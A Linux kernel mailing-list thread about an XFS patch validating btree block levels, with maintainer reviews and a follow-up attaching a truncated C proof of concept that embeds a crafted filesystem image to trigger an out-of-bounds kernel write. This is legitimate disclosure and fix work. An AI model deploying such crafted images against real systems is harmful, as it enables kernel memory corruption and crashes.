* [PATCH] xfs: validate btree block level on read
@ 2026-07-31 12:03 David Lee
2026-07-31 23:28 ` Dave Chinner
2026-08-02 8:35 ` Sven Eckelmann
0 siblings, 2 replies; 6+ messages in thread
From: David Lee @ 2026-07-31 12:03 UTC (permalink / raw)
To: cem
Cc: David Lee, Kyle Zeng, Dominik 'Disconnect3d' Czarnota,
linux-xfs, linux-kernel
Btree buffer verifiers validate record counts against the level stored in
the block itself. Callers of xfs_btree_read_buf_block(), however, use
the returned block according to the level they are traversing. A
corrupted sibling pointer can therefore return a verifier-valid block
from another level and cause out-of-bounds accesses when layout-specific
entries are moved.
Pass the expected level into xfs_btree_read_buf_block() and reject
blocks whose on-disk level differs before returning them. This
centralizes the check for traversal and sibling reads.
Fixes: 3d3e6f64e22c ("xfs: verify btree blocks as they are read from disk")
Bug found and triaged by OpenAI Security Research and
validated by Trail of Bits.
Assisted-by: Codex:gpt-5.6-sol gpt-5.5-cyber
Signed-off-by: Kyle Zeng <kylebot@openai.com>
---
Trail of Bits has a reproducer for this bug that triggers ㅁ
KASAN use-after-free and can share if needed.
fs/xfs/libxfs/xfs_btree.c | 48 +++++++++++++++++++------------
fs/xfs/libxfs/xfs_btree.h | 2 +-
fs/xfs/libxfs/xfs_btree_staging.c | 9 +++---
3 files changed, 36 insertions(+), 23 deletions(-)
diff --git a/fs/xfs/libxfs/xfs_btree.c b/fs/xfs/libxfs/xfs_btree.c
index 60ef7f08b..b2db143bb 100644
--- a/fs/xfs/libxfs/xfs_btree.c
+++ b/fs/xfs/libxfs/xfs_btree.c
@@ -1378,13 +1378,14 @@ xfs_btree_get_buf_block(
}
/*
- * Read in the buffer at the given ptr and return the buffer and
- * the block pointer within the buffer.
+ * Read in the buffer at the given ptr and return the buffer and the block
+ * pointer within the buffer. The block must be at the expected level.
*/
int
xfs_btree_read_buf_block(
struct xfs_btree_cur *cur,
const union xfs_btree_ptr *ptr,
+ int level,
int flags,
struct xfs_btree_block **block,
struct xfs_buf **bpp)
@@ -1409,6 +1410,14 @@ xfs_btree_read_buf_block(
xfs_btree_set_refs(cur, *bpp);
*block = XFS_BUF_TO_BLOCK(*bpp);
+ if (xfs_btree_get_level(*block) != level) {
+ xfs_buf_mark_corrupt(*bpp);
+ xfs_trans_brelse(cur->bc_tp, *bpp);
+ xfs_btree_mark_sick(cur);
+ *block = NULL;
+ *bpp = NULL;
+ return -EFSCORRUPTED;
+ }
return 0;
}
@@ -1733,7 +1742,8 @@ xfs_btree_increment(
ptrp = xfs_btree_ptr_addr(cur, cur->bc_levels[lev].ptr, block);
--lev;
- error = xfs_btree_read_buf_block(cur, ptrp, 0, &block, &bp);
+ error = xfs_btree_read_buf_block(cur, ptrp, lev, 0, &block,
+ &bp);
if (error)
goto error0;
@@ -1827,7 +1837,8 @@ xfs_btree_decrement(
ptrp = xfs_btree_ptr_addr(cur, cur->bc_levels[lev].ptr, block);
--lev;
- error = xfs_btree_read_buf_block(cur, ptrp, 0, &block, &bp);
+ error = xfs_btree_read_buf_block(cur, ptrp, lev, 0, &block,
+ &bp);
if (error)
goto error0;
xfs_btree_setbuf(cur, lev, bp);
@@ -1904,7 +1915,7 @@ xfs_btree_lookup_get_block(
return 0;
}
- error = xfs_btree_read_buf_block(cur, pp, 0, blkp, &bp);
+ error = xfs_btree_read_buf_block(cur, pp, level, 0, blkp, &bp);
if (error)
return error;
@@ -1912,10 +1923,6 @@ xfs_btree_lookup_get_block(
if (xfs_btree_check_block_owner(cur, *blkp) != NULL)
goto out_bad;
- /* Did we get the level we were looking for? */
- if (be16_to_cpu((*blkp)->bb_level) != level)
- goto out_bad;
-
/* Check that internal nodes have at least one record. */
if (level != 0 && be16_to_cpu((*blkp)->bb_numrecs) == 0)
goto out_bad;
@@ -2457,7 +2464,7 @@ xfs_btree_lshift(
goto out0;
/* Set up the left neighbor as "left". */
- error = xfs_btree_read_buf_block(cur, &lptr, 0, &left, &lbp);
+ error = xfs_btree_read_buf_block(cur, &lptr, level, 0, &left, &lbp);
if (error)
goto error0;
@@ -2653,7 +2660,7 @@ xfs_btree_rshift(
goto out0;
/* Set up the right neighbor as "right". */
- error = xfs_btree_read_buf_block(cur, &rptr, 0, &right, &rbp);
+ error = xfs_btree_read_buf_block(cur, &rptr, level, 0, &right, &rbp);
if (error)
goto error0;
@@ -2940,8 +2947,8 @@ __xfs_btree_split(
* point back to right instead of to left.
*/
if (!xfs_btree_ptr_is_null(cur, &rrptr)) {
- error = xfs_btree_read_buf_block(cur, &rrptr,
- 0, &rrblock, &rrbp);
+ error = xfs_btree_read_buf_block(cur, &rrptr, level, 0,
+ &rrblock, &rrbp);
if (error)
goto error0;
xfs_btree_set_sibling(cur, rrblock, &rptr, XFS_BB_LEFTSIB);
@@ -3365,7 +3372,8 @@ xfs_btree_new_root(
lbp = bp;
xfs_btree_buf_to_ptr(cur, lbp, &lptr);
left = block;
- error = xfs_btree_read_buf_block(cur, &rptr, 0, &right, &rbp);
+ error = xfs_btree_read_buf_block(cur, &rptr,
+ cur->bc_nlevels - 1, 0, &right, &rbp);
if (error)
goto error0;
bp = rbp;
@@ -3376,7 +3384,8 @@ xfs_btree_new_root(
xfs_btree_buf_to_ptr(cur, rbp, &rptr);
right = block;
xfs_btree_get_sibling(cur, right, &lptr, XFS_BB_LEFTSIB);
- error = xfs_btree_read_buf_block(cur, &lptr, 0, &left, &lbp);
+ error = xfs_btree_read_buf_block(cur, &lptr,
+ cur->bc_nlevels - 1, 0, &left, &lbp);
if (error)
goto error0;
bp = lbp;
@@ -4394,7 +4403,8 @@ xfs_btree_delrec(
rptr = cptr;
right = block;
rbp = bp;
- error = xfs_btree_read_buf_block(cur, &lptr, 0, &left, &lbp);
+ error = xfs_btree_read_buf_block(cur, &lptr, level, 0, &left,
+ &lbp);
if (error)
goto error0;
@@ -4411,7 +4421,8 @@ xfs_btree_delrec(
lptr = cptr;
left = block;
lbp = bp;
- error = xfs_btree_read_buf_block(cur, &rptr, 0, &right, &rbp);
+ error = xfs_btree_read_buf_block(cur, &rptr, level, 0, &right,
+ &rbp);
if (error)
goto error0;
@@ -4483,7 +4494,8 @@ xfs_btree_delrec(
/* If there is a right sibling, point it to the remaining block. */
xfs_btree_get_sibling(cur, left, &cptr, XFS_BB_RIGHTSIB);
if (!xfs_btree_ptr_is_null(cur, &cptr)) {
- error = xfs_btree_read_buf_block(cur, &cptr, 0, &rrblock, &rrbp);
+ error = xfs_btree_read_buf_block(cur, &cptr, level, 0,
+ &rrblock, &rrbp);
if (error)
goto error0;
xfs_btree_set_sibling(cur, rrblock, &lptr, XFS_BB_LEFTSIB);
diff --git a/fs/xfs/libxfs/xfs_btree.h b/fs/xfs/libxfs/xfs_btree.h
index 60e78572e..2153ee08d 100644
--- a/fs/xfs/libxfs/xfs_btree.h
+++ b/fs/xfs/libxfs/xfs_btree.h
@@ -650,7 +650,7 @@ int xfs_btree_get_buf_block(struct xfs_btree_cur *cur,
const union xfs_btree_ptr *ptr, struct xfs_btree_block **block,
struct xfs_buf **bpp);
int xfs_btree_read_buf_block(struct xfs_btree_cur *cur,
- const union xfs_btree_ptr *ptr, int flags,
+ const union xfs_btree_ptr *ptr, int level, int flags,
struct xfs_btree_block **block, struct xfs_buf **bpp);
void xfs_btree_set_sibling(struct xfs_btree_cur *cur,
struct xfs_btree_block *block, const union xfs_btree_ptr *ptr,
diff --git a/fs/xfs/libxfs/xfs_btree_staging.c b/fs/xfs/libxfs/xfs_btree_staging.c
index c3c7ea548..a8af4f834 100644
--- a/fs/xfs/libxfs/xfs_btree_staging.c
+++ b/fs/xfs/libxfs/xfs_btree_staging.c
@@ -385,6 +385,7 @@ xfs_btree_bload_leaf(
STATIC int
xfs_btree_bload_node(
struct xfs_btree_cur *cur,
+ unsigned int level,
unsigned int recs_this_block,
union xfs_btree_ptr *child_ptr,
struct xfs_btree_block *block)
@@ -407,8 +408,8 @@ xfs_btree_bload_node(
* been reclaimed. LRU refs will be set on the block, which is
* desirable if the new btree commits.
*/
- ret = xfs_btree_read_buf_block(cur, child_ptr, 0, &child_block,
- &child_bp);
+ ret = xfs_btree_read_buf_block(cur, child_ptr, level - 1, 0,
+ &child_block, &child_bp);
if (ret)
return ret;
@@ -767,8 +768,8 @@ xfs_btree_bload(
trace_xfs_btree_bload_block(cur, level, i, blocks,
&ptr, nr_this_block);
- ret = xfs_btree_bload_node(cur, nr_this_block,
- &child_ptr, block);
+ ret = xfs_btree_bload_node(cur, level, nr_this_block,
+ &child_ptr, block);
if (ret)
goto out;
^ permalink raw reply related [flat|nested] 6+ messages in thread
* Re: [PATCH] xfs: validate btree block level on read
2026-07-31 12:03 [PATCH] xfs: validate btree block level on read David Lee
@ 2026-07-31 23:28 ` Dave Chinner
[not found] ` <CAC_etQGTnVV-Jd0waUMfT=8-JtSHxnrQq9jJRDQBisX+1EHWWg@mail.gmail.com>
2026-08-02 8:35 ` Sven Eckelmann
1 sibling, 1 reply; 6+ messages in thread
From: Dave Chinner @ 2026-07-31 23:28 UTC (permalink / raw)
To: David Lee
Cc: cem, Kyle Zeng, Dominik 'Disconnect3d' Czarnota,
linux-xfs, linux-kernel
On Fri, Jul 31, 2026 at 12:03:42PM +0000, David Lee wrote:
> Btree buffer verifiers validate record counts against the level stored in
> the block itself. Callers of xfs_btree_read_buf_block(), however, use
> the returned block according to the level they are traversing. A
> corrupted sibling pointer can therefore return a verifier-valid block
> from another level and cause out-of-bounds accesses when layout-specific
> entries are moved.
>
> Pass the expected level into xfs_btree_read_buf_block() and reject
> blocks whose on-disk level differs before returning them. This
> centralizes the check for traversal and sibling reads.
We already have a centralised function that does all this level
check (and more): xfs_btree_lookup_get_block(). It is already passed
the expected level, and it also checks various other per-usage
header information like owner, level specific numrecs bounds, etc.
If we have to verify per-block context state, then nothing should be
calling xfs_btree_read_buf_block() directly except
xfs_btree_lookup_get_block(), and all the read context checks should
be performed in xfs_btree_lookup_get_block() (as they already are).
> Fixes: 3d3e6f64e22c ("xfs: verify btree blocks as they are read from disk")
> Bug found and triaged by OpenAI Security Research and
> validated by Trail of Bits.
Great. How did you reproduce the issue and test the fix is correct?
Did you submit an fstests that reproduces the issue and verifies the
fix works?
> Assisted-by: Codex:gpt-5.6-sol gpt-5.5-cyber
> Signed-off-by: Kyle Zeng <kylebot@openai.com>
Yeah, nah. Patches have to be submitted by a real person, not a bot
account, and SOB should reflect that.
-Dave.
--
Dave Chinner
dgc@kernel.org
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH] xfs: validate btree block level on read
2026-07-31 12:03 [PATCH] xfs: validate btree block level on read David Lee
2026-07-31 23:28 ` Dave Chinner
@ 2026-08-02 8:35 ` Sven Eckelmann
1 sibling, 0 replies; 6+ messages in thread
From: Sven Eckelmann @ 2026-08-02 8:35 UTC (permalink / raw)
To: cem, David Lee, Kyle Zeng
Cc: Dominik 'Disconnect3d' Czarnota, linux-xfs, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 1033 bytes --]
On Friday, 31 July 2026 14:03:42 CEST David Lee wrote:
> Fixes: 3d3e6f64e22c ("xfs: verify btree blocks as they are read from disk")
> Bug found and triaged by OpenAI Security Research and
> validated by Trail of Bits.
>
> Assisted-by: Codex:gpt-5.6-sol gpt-5.5-cyber
> Signed-off-by: Kyle Zeng <kylebot@openai.com>
1. weird text (advertisement) + newlines in the tags section which shouldn't be there
https://docs.kernel.org/process/submitting-patches.html#sign-your-work-the-developer-s-certificate-of-origin
(and all these tag/format related sections below)
2. author didn't sign off the patch (see below)
3. odd unrelated Signed-off-by without any obvious connection to
the patch
- I actually would guess that Kyle Zeng <kylebot@openai.com> is the author
and David Lee removed its authorship (From: ) before sending the patch.
But in its current form, David is claiming to be the author. And even
when it is the case, David must still add the the non-Author SoB at the
end.
Regards,
Sven
[-- Attachment #2: This is a digitally signed message part. --]
[-- Type: application/pgp-signature, Size: 228 bytes --]
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH] xfs: validate btree block level on read
[not found] ` <an-LhCZLN06ajjI5@dread>
@ 2026-10-23 19:27 ` David Lee
2026-10-24 15:37 ` Eric Sandeen
0 siblings, 1 reply; 6+ messages in thread
From: David Lee @ 2026-10-23 19:27 UTC (permalink / raw)
To: linux-xfs, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 1067 bytes --]
Hi Dave,
Thanks for the review. I reproduced the issue on October 23, 2026 with
the unchanged original PoC on mainline commit
734bef548a96e8774d6eef5dfa2026c6edc4e80b
(7.3.0-package1-2-20-xfs-mainline).
The cause is a wrong-level sibling: a level-1 node's left-sibling
pointer references a checksum-valid level-0 RTRMAP leaf with 100
records. The leaf verifier accepts that count because its limit is 167.
But lshift uses the internal-node layout, whose limit is 83. Its
equality check misses 100, increments the count to 101, and copies a
40-byte key pair at offset 4072, overrunning the 4 KiB buffer by 16
bytes.
The log reports the invalid write as a KASAN use-after-free in
xfs_btree_lshift through inodegc. It introduces out-of-bounds key write
described above.
Attached poc.c, the detailed report.txt, and full_kasan.log.
If this looks like the right direction, I'll send v2 with the corrected
tags.
For reference, here is the original mail thread:
https://lore.kernel.org/linux-xfs/20260731120344.558808-1-david.lee@trailofbits.com/
Best regards,
David
[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 65180 bytes --]
#define _GNU_SOURCE
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
static const char temp_dir[] = "/tmp/0158_fs_xfs__finding_029";
static const char compressed_path[] =
"/tmp/0158_fs_xfs__finding_029/rtrmap-poc.img.zst";
static const char image_path[] = "/tmp/0158_fs_xfs__finding_029/rtrmap-poc.img";
static const char image_b64[] =
"KLUv/YRoAAAAQJQkAMbztTxApE5r97WlbQDUtmKMNWgzhADwS3sB6Ey+c5n3rxLWJ6rIIvKO67G2"
"ZzFRd9lmJN2hskU8Bg4RpMneMgV6AIgAtwCf/N0E/RZ8IvrEGvkr/ztYzYt7pP5T//3b3ykd78wr"
"x3//a6GQk/dH+tn/3j9a4on1szPtfOUf9gNG/lr2Fo39e7W/9P9Xr/L33IFB3TSgTUoKsPLZWTFz"
"O5F36v+f/P4/RA8IEU1ZTmcQnJgGYeOa8OPZ/18+VEUUK/fb7pxKxf5rgwssBhcPrZPU/0v9ZyqR"
"TphY0x7/v/9/gdeo0jyBTNGaZ1XVayMGtCb7t318TqWKyn8J4EdabBlv4/3/7SqYCVgC0lZXjUbM"
"kTGQRh1NOZ/6U8kjRKP878+8vzRqaSHPkkoD9HkV8swf+Qf4DbN0Ta1kf6gG6POlX+lP+pU/gANO"
"V2iTLwocQTF5cqBRnSVbyT1elJBg9cxAq8D0ZupsSQkOopUO6ug0U4sqOlKWaAIQXxI7U8MoJA+u"
"8GRUWxZ7XY50tfCTaMTqhR0RZEXMEhXH2KqKF4rEGSvkRaRQbJBtCFSVPMC7BmrJ9qfSuxiSAS+6"
"sj6mFIqzzP//5cwqF1QS3iLc+1/bf7adC6OuNKsjxw4cXzTAvrRWhoX9c2gBrWRShEtHOdcHT///"
"WmDWyRWFLlzptQF3Gwjn9NkRMFSzAI2PQHwjzmQNApaZcVs8PKyzOjZ+KDN4eEiLDi8x0BuZJAht"
"cIyRcqDXJqaEFJ/GOS0KeTaEadJcrJKTy8BIDMxfiEF+Xx55IFx6QfHVB0tcDR53bHS5PtY0uUAI"
"Iudxy50tQVQ4xBmF0re0rkdObnU3Fv1p+bLDk6BtRd0fniwgxsSxYomSYxO9YhhnqANbHpxgIitr"
"bYhb1sjYGLfU1vBBlKGKoJ8/jGllfInWqMD1PXJNgaFX50lKj73AwChNaugQgdJ0k8bqieMTISRO"
"/AKA6ahRVELckWAUJAVJ0hgQSUSSJEljMjAMg0IIOoQAoSAEYSCGACFICBCEQCF4xJAQA9dWDv3/"
"hLoULxiwgy01WJKDLR1MicGQHgzJwZYcTInBkBxMicGQDKbEYEkMhuRgSw6mxGBIDqbEYEgGU2Kw"
"JAZDcrAlB1NiMCQHU2IwJIMpMVgSgyE52JKDKTEYkoMpMRiSwZQYLInBkBxsycGUGAzJwZQYDMlg"
"SgyWxGBIDrbkYEoMhuRgSgyGZDAlBktiMCQHW3IwJQZDcjAlYHwYAGi6yIsg2kSpdM+o7O2kTNOw"
"OQ4OcFrXAPvcGO9CbhHm+hjzfCuZs/OT5hDrwcUKc3iuRBRMcwDVLfiY6cmcu5GcUxOPQViP6cAc"
"jjO8JoQdFYjDMp4vMHwHbhP9H7Wr3nvv4CTJa/cAlynoue2MfCEVNeJTfIf0hwm15+nVYp9rB0QA"
"p4qfFvcOwPLL64ACuAOKdxwbskViEyA6/NPhHD0g4IMlB8qd2XK7hp4nv9QvyesMAMBeOW+AA8g1"
"8lT+CLh3+pbsCpBiEeoHOYIaxz1NX/Pc8fdAFNGfJTSytizdjRX4q4YzBQIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAEQAAAABAP3/zAsQAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAARAAAAAEA/f/MCxACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEABEAAAAAQD9/8wL"
"EAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQACwLAOYS"
"NilQWWv57rmeI7Maebx99V1rX71aFKVJjKsny4D8RtE6gbvN+Ngf7d5bpikAKAAnAAPD66OjveCY"
"/1f/Y3+P/f+B7/8zo+WiKC2GkM7nxUtNWqP/n/g2pBEFS1jg/oAf/e/9NRtWNPphzK+/bPXnuHK2"
"f1X6hf9x99eTxLvjKhDpIH9LadkLP+Ef/Osv+AP/E8lCLf/7dzSsSB19aKnn//3Tf8461E74N03B"
"D2CmTfS/zv9fcGWTqB5QTfktwtEoTyZg45/Sspyi70FJZJawN/wVBun4/7p6Azkg8GwkJVE6/Z/k"
"0Hb5y+nIRHnxrpyCke3AccSIvrS4+H3KXB+2/z9Uz0+Yu+PF7xPmeMIDALAOVNEcP2he/tN4d80n"
"8MH8+7lWylIwwupwgLgeX4g4tV7uxHS0rghAgKrubgAggLRaPpXiiD8ciIEN+99lcCuKafjfa7OB"
"auQWSfQY8QjMIzePOgIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
"AgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAAC"
"ABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIA"
"EAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQ"
"AAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAAAgAQAAIAEAACABAA"
